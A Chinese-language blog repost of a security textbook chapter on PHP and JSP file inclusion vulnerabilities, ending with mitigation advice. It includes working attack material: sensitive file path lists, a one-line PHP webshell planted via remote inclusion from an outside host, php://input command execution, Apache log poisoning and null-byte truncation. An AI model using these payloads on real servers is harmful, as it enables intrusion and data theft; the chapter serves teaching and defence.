【第九章】檔案包含漏洞

Rookie8j發表於2020-07-26

程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時,直接呼叫此檔案,而無須再次編寫,這種呼叫檔案的過程一般 被稱為包含。

程式開發人員都希望程式碼更加靈活,所以通常會將被包含的檔案設定為變數,用來進行動態呼叫,但正是由於這種靈活性,從而導致客戶端可以呼叫一個惡意檔案,造成檔案包含漏洞。

幾乎在所有的指令碼語言中都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application 中居多,而在JSP、ASP、ASP.NET 程式中卻非常少,甚至沒有包含漏洞的存在。

這與程式開發人員的水平無關,而問題在於語言設計的弊端。

9.1 包含漏洞原理解析

大多數Web 語言都可以使用檔案包含操作,其中PHP 語言所提供的檔案包含功能太強大、太靈活,所以包含漏洞經常出現在PHP語言中。這也就導致了一個錯誤現狀,很多初學者認為包含漏洞只出現在PHP 語言中,殊不知,在其他語言中也可能出現包含漏洞。

本章以Java、PHP 語言為例進行介紹。

9.1.1 PHP 包含

PHP 中提供了四個檔案包含的函式,分別是include()、 include_once()、 require() 和require_once()。這四個函式都可以進行檔案包含,但作用卻不一樣,其區別如下:

  • require:找不到被包含的檔案時會產生致命錯誤(E_COMPILE_ERROR),並停止指令碼;
  • include:找不到被包含的檔案時只會產生警告(E_WARNING), 指令碼將繼續執行;
  • include_once:此語句和include() 語句類似,唯一區別是如果該檔案中的程式碼已經被包含,則不會再次包含;
  • require_once:此行語句和require() 語句類似,唯一區別是如果該檔案中的程式碼已經被包含,則不會再次包含。

1.檔案包含示例

PHP中的檔案包含分為本地包含和遠端包含。在下面的測試中,伺服器環境為:
PHP 5.2.14
MySql 5.1
Apache 2.0.63 (Win32)

(1)本地包含Local File Include(LFI)

ArrayUtil.php 檔案提供了字串操作函式,程式碼如下:

<?php
  function PrintArr ($arr, $sp="-->", $lin="<br/>"){
  foreach($arr as $key => $value) {
    echo "$key $sp $value $lin" ;
  }
  ...
  ...
?>

Index.php 對ArrayUtil.php 進行包含,並且使用PrintArr函式,程式碼如下:

<?php
  include("ArrayUtil.php");  //包含ArrayUtil.php
  $arr = array("張三","李四","王五");
  PrintArr($arr, "==>");  //使用ArrayUtil.php中的PrintArr函式
?>

Index.php 檔案執行結果如圖所示。
在這裡插入圖片描述

接下來再看下面一個例子,phpinfo.txt 是一個正常的文字檔案,但檔案內容卻是符合PHP語法的程式碼:

<?php
  phpinfo();
?>

在Index.php 檔案中包含phpinfo.txt,程式碼如下:

<?php
  phpinfo();
?>
在Index.php 檔案中包含 phpinfo.txt,程式碼如下:
<?php
  include("phpinfo.txt");  //包含txt檔案
?>

訪問Index.php,執行結果如果圖所示。
在這裡插入圖片描述
接下來將phpinfo.txt檔案的副檔名分別改為: jpg、rar、xxx、doc 進行測試,發現都可以正確顯示phpinfo 資訊。由此可知,只要檔案內容符合PHP 語法規範,那麼任何副檔名都可以被PHP 解析。接下來繼續看另外一個例子,資料庫配置檔案db.Properties,檔案內容如下:

db.dbName=MySchool
db.username=root
db.password=root
db.port=3306

在Index.php 檔案中包含db.Properties,程式碼如下:

<?php
  include("db.Properties");  //包含txt檔案
?>

執行結果如圖。
在這裡插入圖片描述

由此可知,包含非PHP語法規範原始檔時,將會暴露其原始碼。

(2)遠端包含Remote File Include (RFI)

PHP不僅可以對本地檔案進行包含,還可以對遠端檔案進行包含。如果要使用遠端包含功能,首先需要確定PHP是否已經開啟遠端包含功能選項( PHP預設關閉遠端包含功能)。開啟遠端包含功能需要在php.ini 配置檔案中修改,修改後需要重啟Web容器服務使其生效,選項如下:

allow_url_include = Off  //把Off更改為On

下面是PHP遠端包含的例子。

http://www.2cto.com/ 根目錄下存在php.txt,原始碼如下:

<?php
  echo "Hello World ";
?>

Index.php 程式碼如下:

<?php
  include($_GETI'page']);
?>

訪問URL:http://www.xxser.com/Index.php?page=http://www.2cto.com/php.txt,執行結果如圖。

遠端包含與本地包含沒有區別,無論是哪種副檔名,只要遵循PHP語法規範,PHP解析器就會對其解析。

2.檔案包含漏洞示例

瞭解了基本的PHP包含語法之後,再分析檔案包含漏洞就比較簡單了。在index.php中有如下程式碼:

<?php
  if(isset($_GET['page'])) {
    include $_ GET['page'] ;
  }else {
    include 'home.php';
  }
?>

PHP 前臺程式碼如下:

<a href= "Index.php?page=main.php">主頁</a>
<a href= "Index.php?page=news.php">新聞</a>
<a href= "Index.php?page=down.php">下載</a>

當正常使用者進行訪問時,HtTP請求URL為:

http://www.xxser.com/Index.php?page=main.php
http://www.xxser.com/Index.php?page=news.php
http://www.xxser.com/Index.php?page=down.php

程式邏輯為:

  • ① 提交URL,在index.php中取得page引數的值。
  • ② 判斷$_GET[page]是否為空,若不為空,就使用include 包含這個檔案。
  • ③ 若$_GET[page]為空,就執行else語句來包含home.php檔案。

攻擊者不會乖乖地按照程式指定好的規則去訪問,比如,攻擊者可能輸入以下URL:

http://www.xxser.com/index.php?page=xxx.php

訪問以上URL 程式將會包含xxx.php,但是由於xxx.php在伺服器端並不存在,所以在包含時通常會出現類似以下的警告,暴露出網站的絕對路徑:

Warning: include (xxx.php) [ function. include]: failed to open stream: No such file or directory in F: \php\index.php on line 4
Warning: include() [ function. include]: Failed opening 'xxx.php' for inclusion (include_ path='. ;C: \php5\pear') in F:\php\index.php on line 4

3.PHP檔案包含利用

如果某個頁面確實存在檔案包含漏洞後,攻擊者是如何利用包含漏洞來攻擊Web應用程式
的呢?下面將剖析幾種常見的攻擊方式。

(1)讀取敏感檔案

訪問URL: http://ww.xxser.com/index.php?page=/etc/passwd,如果目標主機檔案存在,並且有相應的許可權,那麼就可以讀出檔案的內容。反之,就會得到一個類似於: open_basedirrestriction in effect.的警告。

常見的敏感資訊路徑如下:

  • ① Windows 系統。
C:\boot.ini                                 //檢視系統版本
C:\windows\system32\inetsrv\MetaBase.xml    //IIS配置檔案
C:\windows\repair\sam                       //儲存Windows系統初次安裝的密碼
C:\Program Files\mysql\my.ini               //Mysql配置
C:\Program Files\mysql\data\mysq1\user.MYD  //Mysql root
C:\windows\php.ini                          //php配置資訊
C:\windows\my.ini                           //Mysql配置檔案
  • ② UNIX/Linux 系統。
/etc/passwd
/usr/1ocal/app/apache2/conf/httpd.conf               //apache2預設配置檔案
/usr/1ocal/app/apache2/conf/extra/httpd-vhosts.conf  //虛擬網站設定
/usr/1ocal/app/php5/lib/php.ini                      //PHP相關設定
/etc/httpd/conf/httpd.conf                           //apache配置檔案
/etc/my.cnf                                          //Mysql的配置檔案

(2)遠端包含Shell

如果目標主機allow_url_fopen 選項是啟用的,就可以嘗試遠端包含一句話木馬, 如:
http://www.2cto.com/echo.txt,程式碼如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['xxser']);?>")?>

訪問:htp://www.xxser.com/Index.pbp?page=http://www.2cto.com/echo.txt;將會在Index.php 所在的目錄下生成shell.php,內容為:

<?php eval($_POST['xxser']);?>

(3)本地包含配合檔案上傳

很多網站通常會提供檔案上傳功能,比如:上傳頭像、 文件等。

假設已經上傳一句話圖片木馬到伺服器,路徑為:

/uploadfi1e/201363.jpg

圖片程式碼如下:

<?fputs (fopen("shel1.php", "w"),"<?php eval($_POST ['xxser']);?>")?>

訪問URL: http//ww.xxser.com/ndex.php?page=./uploadfile/201363.jpg,包含這張圖片,將會在 Index.php 所在的目錄下生成shell.php。

(4)使用PHP 封裝協議

PHP 帶有很多內建URL 風格的封裝協議,這類協議與fopen()、copy()、file_exists()、filesize() 等檔案系統函式所提供的功能類似。常見的協議如表所示:

名稱含義
file://訪問本地檔案系統
http://訪問HTTP(s)網址
ftp://訪問FTP(s)URLs
php://訪問輸入/輸出流(I/O streams)
zlib://壓縮流
data://資料(RFC 2397)
ssh2://Secure Shell 2
expect://處理互動式的流
glob://查詢匹配的檔案路徑
  • ① 使用封裝協議讀取PHP檔案。

使用PHP內建封裝協議可以讀取PHP檔案,例子如下:

http://www.xxser.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

訪問URL,得到經過Base64 加密後的字串:

PD9waHANCgkNCgkkbGluayA9IG1 5c3FsX2Nvbm51Y 3QoI jEyNy4wLj AuMSIsInJvb3Qi LCJyb290Iik7IA0KCW1 5c3FsX3N1bGVjdF9kYigibXl zY2hvb2wiLCRsaW5 rKTsgDQoJCQ0K

這段程式碼就是Base64 加密過後的PHP 原始碼,經過解密後就可以得到其原本的“樣貌”。

  • ② 寫入PHP檔案。

使用php://input 可以執行PHP語句,但使用這條語句時需要注意: php://input 受限於allow_url_include 選項。
也就是說,只有在allow_url_include 為On 時才可以使用。

構造URL:
http://ww.wxser.comn/indx.php?page=php://input
並且提交資料為

<?php system('net user');?>

如果提交

<?fputs(open("shell.php","W"),"<?php eval($_POST['xser']);?>")?>

語句, 那麼將會在Index.php 所在的目錄下生成shell.php。

(5)包含Apache日誌檔案

某個PHP 檔案存在本地包含漏洞導致無法上傳檔案時,這種情況就像明明有SQL 注入漏洞,卻無法注入出資料一樣,明明是一個高危漏洞,卻無法深度利用。但本地包含還有另外一招,就是找到Apache 路徑,利用包含漏洞包含Apache 日誌檔案也可以獲取WebShell。

Apache 執行後一般預設會生成兩個日誌檔案,這兩個檔案是acess.log (訪問日誌)和error.log (錯誤日誌),Apache 的訪問日誌檔案記錄了客戶端的每次請求及伺服器響應的相關資訊,例如,當我們請求Index.php 頁面時,Apache 就會記錄下我們的操作,並且寫到訪問日誌檔案access.log 中。

訪問日誌中每一行記錄記錄一次網站訪問記錄,由7部分組成,格式如下:

客戶端地址 訪問者的標識 訪問者的驗證名字 請求的時間 請求型別 請求的HTTP程式碼 傳送給客戶端的位元組數
- 客戶端地址:訪問網站的客戶端IP地址;
- 訪問者的標識:該項一般為空白,用“-”替代;
- 訪問者的驗證名字:該項用於記錄訪問者身份驗證時提供的名字,一般情況下,該項也為空白;
- 請求的時間:記錄訪問操作的發生時間; 
- 請求型別:該項記錄了伺服器收到的是什麼型別的請求,如: GET、 POST、HEAD 等請求方法;
- 響應的HTTP狀態碼:通過該項資訊可以知道請求是否成功,正常情況下,該項值為200;
- 傳送給客戶端的位元組數:表示傳送給客戶端的總位元組數。

當訪問一個不存在的資源時,Apache 日誌同樣會記錄,這就意味著,如果網站存在本地包含漏洞,卻沒有可以包含的檔案時(通常是指網頁木馬檔案),就可以去訪問URL:

http://wwwxxser.com/<?php phpinfo();?>

Apache 會記錄請求“<?php phpinfo);?>”,並寫到access.log 檔案中,這時再去包含Apache 的日誌檔案,不就可以利用包含漏洞了嗎?但實際上是不可行的,原因是訪問URL後,一句話木馬在日誌檔案裡“變形”了:

127.0.0.1 - - [04/Jun/2013:15:04:22 +0800] "GET /%3C?php%20phpinfo();)?%3E HTTP/1.1" 403 291

PHP 程式碼中的“<、>空格”都被瀏覽器轉碼了,這樣攻擊者就無法正常利用Apache 包含漏洞。一般來說,“一些指令碼小子”到了這裡就無法再繼續深入了,但是對比較資深的黑客來說,這根本不是問題,攻擊者可以通過Burp Suite傳送請求來繞過編碼。

再去檢視日誌檔案時,可以發現“<、>空格”並沒有被轉碼,語句如下:

127.0.0.1 - - [04/Jun/2013:15:08:44 +0800] "GET /<?phpphpinfo();?> HTTP/1.1" 403 291  //這裡沒有被轉碼

攻擊者利用存在包含漏洞的頁面去包含acess.og,即可成功執行其中的PHP程式碼。

http://www.xxser.com/index.php?page=./../Apache-20/logs/acess.log

攻擊者在使用Apache 日誌檔案包含時,首先需要確定Apache 的日誌路徑,否則即使攻擊者將PHP 木馬寫入日誌檔案,也無法包含。

經過此段的分析,我們可以發現Apache 的路徑是重點,所以在安裝Apache 時,儘量不要使用預設路徑。

(6)截斷包含

很多程式設計師認為PHP中的包含漏洞比較好修復,固定副檔名即可,程式碼如下:

<?php
  if(isset($_GETI'page'])){
    include $_GETI'page'].".php";
  }else{
    include 'home.php';
  }
?>

當進行包含時,不需要傳輸副檔名,例如,想要包含News.php 頁面,只需要傳入

http://www.xxser.com/Index php?page=News

即可。這樣,可以變相地修復包含漏洞。

假設上傳一句話圖片木馬檔案的路徑為

/uploadfile/20130606.jpg

當包含這樣的圖片時,URL為:

http://www.xxser.com/Index.php?page=./uploadfile/20130606.jpg

在PHP 程式包含時卻會包含

/uploadfile/20130606.jpg.php

而20130606.jpg.php 是不存在的,從而使包含漏洞無法正常利用。

雖然這樣可以阻擋一部分攻擊者, 但並不是真正地修復了包含漏洞,攻擊者可以採取截斷的方法來突破這段程式碼。

輸入URL:

http://www.xxser.com/Index.php?page=1.jpg

1.jpg 的程式碼為

<?php phpinfo();?>

訪問時會出現錯誤,因為找不到1.jpg.php, 所以無法包含,但是現在輸入

http://www.xxser.com/Index.php?page=1.jpg%00

phpinfor 又會被執行。

這種方法只適用於magic_quotes_gpc=Off 時,如果為On,%00(NULL)將會被轉義,從而無法正常截斷。magic_quotes_gpc 為On 的情況會為以下預定義字元轉義:

  • 單引號(’)
  • 雙引號(")
  • 反斜槓()
  • NULL

在PHP的老版本中也存在其他一些截斷問題,不過現在已經很難見到了,例如:

index.php?file=info.txt././././././././././...超過一定數量的"./"。

(7)繞過WAF防火牆

檔案包含有時還會被用來製作後門,躲避Web防毒軟體的檢測。如;建立一個圖片檔案,程式碼為一句話木馬,然後在PHP 檔案中包含這個圖片木馬,一般的Web防毒軟體是無法檢測出的。

9.1.2 JSP 包含

JSP 包含分兩種方式:靜態包含和動態包含。下面將詳細介紹這兩種包含操作。

1.靜態包含

<%@ include file="pagetxt"%>

為JSP 中的靜態包含語句,靜態包含語句先進行包含,再做處理操作。下面看一段簡單的程式碼來觀察JSP 靜態包含的特性。

a.txt檔案內容如下:

<%@ page language="java" import="java.util.*" pageEncoding="gbk"&>
<%
  out.println("我是A頁面");
%>

嘗試用index.jsp 來包含a.txt,程式碼如下:

<%@ include file="a.txt" %>

用瀏覽器訪問index.jsp, 此時a.txt 檔案會被當作JSP 檔案解析,但問題就出現了,在前面曾經說過,檔案包含漏洞利用最主要的是可以控制被包含的檔案。那麼JSP 中的include 指令是否能夠像PHP 那樣去包含一個變數呢?

JSP 語法規定,include 指令為靜態包含,只允許包含一個已經存在於伺服器中的檔案,而不能使用變數來控制包含某個檔案。這就意味著使用include 指令將不存在檔案包含漏洞。

2.動態包含

<jsp:include page="page.txt"/>

為動態包含語句。動態包含與靜態包含恰恰相反,在執行時,首先會處理被包含頁面,然後再包含,而且可以包含一個動態頁面(變數)。

<%
  String pages = request.getParameter ("page");
%>
<jsp:include page="<%=pages%>" ></jsp:include>

再次包含a.txt如圖。
可以發現,當

<jsp:include/>

標籤在包含一個非JSP 副檔名時,即使其內容符合JSP 語法規範,也會讀取其原始碼,而不會解析其JSP程式碼。這就意味著JSP 所包含的頁面即使被攻擊者控制,攻擊者得到的資訊也是有限的。(攻擊者一般都會包含一些 Web 容器的配置檔案,比如Tomcat 的user.xml。)

說到JSP 包含,不得不提的是Servlet。Servlet 是一種伺服器端的Java 應用程式,具有獨立於平臺和協議的特性,並可以動態生成Web 頁面。它擔當客戶請求與伺服器響應的中間層。Servlet 是比JSP 更早的技術,但是Servlet 卻沒有被放棄。它通常與JSP 相結合,前臺JSP 負責顯示,Servlet 負責邏輯控制。也就是所謂的MVC 設計模式中的View 與Controller。

注: MVC是模型(Model)、檢視(View)和控制(Controller)的縮寫。

Servlet 中的包含常常用於操作生成靜態化頁面,一段簡單的Servlet 包含:程式接收fileName與outName,最後包含fileName 模板進行渲染,然後生成靜態頁面。

訪問URL:

http://www.xxser.com/Jsp/GetHtml?fileName=./WEB-INF/web.xml&outName =out

最終將會在根目錄下生成out.html 檔案,out.html 的內容就是web.xml 的內容,但由於web.xml 是一個合法的XML 檔案,所以使用瀏覽器訪問將不會顯示全部結果,必須通過檢視原始碼才可以看到其原始檔。

說到RequestDispatcher 介面,不得不提到該介面中的另一個方法——forward 方法。

forward 用於URL 跳轉操作,在Java 中,URL 跳轉分為以下兩類。

  • (1)客戶端跳轉

客戶端跳轉常常被稱為重定向,客戶端跳轉之後瀏覽器URL改變,並且伺服器無法傳遞引數。客戶端跳轉通常會使用response.sendRedirect() 方法,也有少部分開發者使用JavaScript 跳轉。

  • (2)伺服器端跳轉

伺服器端跳轉也被稱為URL轉發,跳轉之後瀏覽器URL不變,並且跳轉頁面之間可以傳遞引數。服務端跳轉通常會使用RequestDispatcher 介面中的forward 方法。

在URL 轉發時,存在一個安全隱患,那就是暴露web.xml,而web.xml 是JavaEE 的核心所在,每個JavaEE專案都擁有一個web.xml,其中包含了大量的敏感資訊,例如: Servlet 配置資訊、框架配置資訊、過濾器配置資訊等。

當請求URL為:

http://www.xxser.com/Jsp/Forward?pathName=./WEB-INF/web.xml

時,將會暴露web.xml。

由於語言設計的差異,相對來說,JSP 比PHP 擁有更高的安全性。PHP 從某些方面而言,它的許多優點正是它的缺點。

9.2 安全編寫包含

包含漏洞在PHP 開發中最常見,如何杜絕包含漏洞呢?通過分析上述的案例可以發現,造成包含漏洞的根本原因是:被包含的頁面可以被攻擊者所控制,也就是說,攻擊者可以隨心所欲地去包含某個頁面。

下面給出以下方案供參考。

  • 嚴格判斷包含中的引數是否外部可控,因為檔案包含漏洞利用成功與否的關鍵點就在於被包含的檔案是否可被外部控制;
  • 路徑限制:限制被包含的檔案只能在某一資料夾內,一定要禁止目錄跳轉字元,如:“…/”;
  • 包含檔案驗證:驗證被包含的檔案是否是白名單中的一員;
  • 儘量不要使用動態包含,可以在需要包含的頁面固定寫好,如: include(“head.php”);。

9.3 小結

本章講述了包含漏洞的原理,同時講述瞭如何徹底杜絕包含漏洞。

包含漏洞在很多語言中都存在,但通常在PHP語言中的危害最大,一旦出現,通常是“致命”的問題。

相關文章